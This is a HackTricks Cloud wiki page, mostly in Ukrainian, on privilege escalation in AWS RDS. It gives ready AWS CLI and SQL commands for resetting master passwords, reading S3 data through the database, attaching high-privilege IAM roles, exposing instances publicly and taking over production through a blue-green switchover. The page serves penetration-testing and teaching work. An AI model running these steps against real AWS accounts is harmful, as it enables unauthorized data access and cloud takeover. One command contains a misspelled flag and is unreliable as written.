AWS - RDS Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
RDS - Реляційна служба баз даних
Для отримання додаткової інформації про RDS див.:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Маючи цей дозвіл, зловмисник може змінити пароль головного користувача, а також логін у базі даних:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Вам потрібно мати можливість зв’язатися з базою даних (вони зазвичай доступні лише зсередини мереж).
Potential Impact: Знаходження чутливої інформації всередині баз даних.
rds-db:connect
According to the docs користувач з цим дозволом може підключитися до DB instance.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
Tip
Якщо при виконанні
SELECT datname FROM pg_database;ви знайдете базу даних з назвоюrdsadmin, ви знаходитесь всередині AWS postgresql database.
Спочатку ви можете перевірити, чи ця база даних використовувалася для доступу до інших сервісів AWS. Ви можете перевірити це, переглянувши встановлені extensions:
SELECT * FROM pg_extension;
Якщо ви знайдете щось на кшталт aws_s3, можна припустити, що ця база даних має певний доступ до S3 (існують інші розширення, такі як aws_ml і aws_lambda).
Також, якщо у вас є дозволи запускати aws rds describe-db-clusters, ви можете побачити там, чи до кластера прикріплена будь-яка IAM Role в полі AssociatedRoles. Якщо так, можна припустити, що база даних була підготовлена для доступу до інших сервісів AWS. Виходячи з назви ролі (або якщо ви можете отримати дозволи ролі), ви могли б припустити, який додатковий доступ має база даних.
Тепер, щоб прочитати файл у bucket вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Якби у вас були raw AWS credentials, ви також могли б використати їх для доступу до даних S3 за допомогою:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql не потрібно змінювати жодну змінну групи параметрів, щоб мати доступ до S3.
Mysql (Aurora)
Tip
У mysql, якщо ви виконаєте запит
SELECT User, Host FROM mysql.user;і існує користувач з ім’ямrdsadmin, можна припустити, що ви знаходитесь в AWS RDS mysql db.
У mysql виконайте show variables;, і якщо такі змінні як aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role мають значення, можна припускати, що база даних підготовлена для доступу до даних S3.
Також, якщо у вас є права виконувати aws rds describe-db-clusters, ви можете перевірити, чи кластер має якийсь associated role, що зазвичай означає доступ до AWS services).
Тепер, щоб прочитати файл в bucket вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Зловмисник з дозволами rds:AddRoleToDBCluster та iam:PassRole може додати вказану роль до існуючого RDS instance. Це може дозволити зловмиснику отримати доступ до чутливих даних або змінити дані всередині інстансу.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potential Impact: Доступ до чутливих даних або несанкціоновані зміни даних в екземплярі RDS.
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
rds:CreateDBInstance
Маючи лише цей дозвіл, нападник може створити новий екземпляр всередині кластера, який вже існує і до якого приєднано IAM role. Він не зможе змінити master user password, але може зробити новий екземпляр бази даних доступним з інтернету:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Перевірити
An attacker with the permissions rds:CreateDBInstance and iam:PassRole can create a new RDS instance with a specified role attached. The attacker can then potentially access sensitive data or modify the data within the instance.
Warning
Some requirements of the role/instance-profile to attach (from here):
- Профіль має існувати у вашому обліковому записі.
- Профіль має містити IAM роль, яку Amazon EC2 має право взяти на себе.
- Ім’я instance profile та пов’язане ім’я IAM ролі мають починатися з префікса
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Можливий вплив: Доступ до конфіденційних даних або несанкціоновані зміни даних у RDS instance.
rds:AddRoleToDBInstance, iam:PassRole
Атакувальник з дозволами rds:AddRoleToDBInstance і iam:PassRole може додати вказану роль до існуючого RDS instance. Це може дозволити атакувальнику отримати доступ до конфіденційних даних або змінювати дані в інстансі.
Warning
DB instance має бути поза кластером для цього
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Потенційний вплив: доступ до конфіденційних даних або несанкціоновані зміни даних в екземплярі RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Зловмисник із цими дозволами може клонувати продукційну базу даних (Blue), прикріпити до клону IAM role з високими привілеями (Green), а потім використати switchover, щоб замінити продукційне середовище. Це дозволяє зловмиснику підвищити привілеї бази даних і отримати несанкціонований доступ до інших ресурсів AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Потенційний вплив: Повне захоплення продуктивного середовища бази даних. Після перемикання база даних працює з підвищеними привілеями, що дозволяє несанкціонований доступ до інших сервісів AWS (наприклад, S3, Lambda, Secrets Manager) зсередини бази даних.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

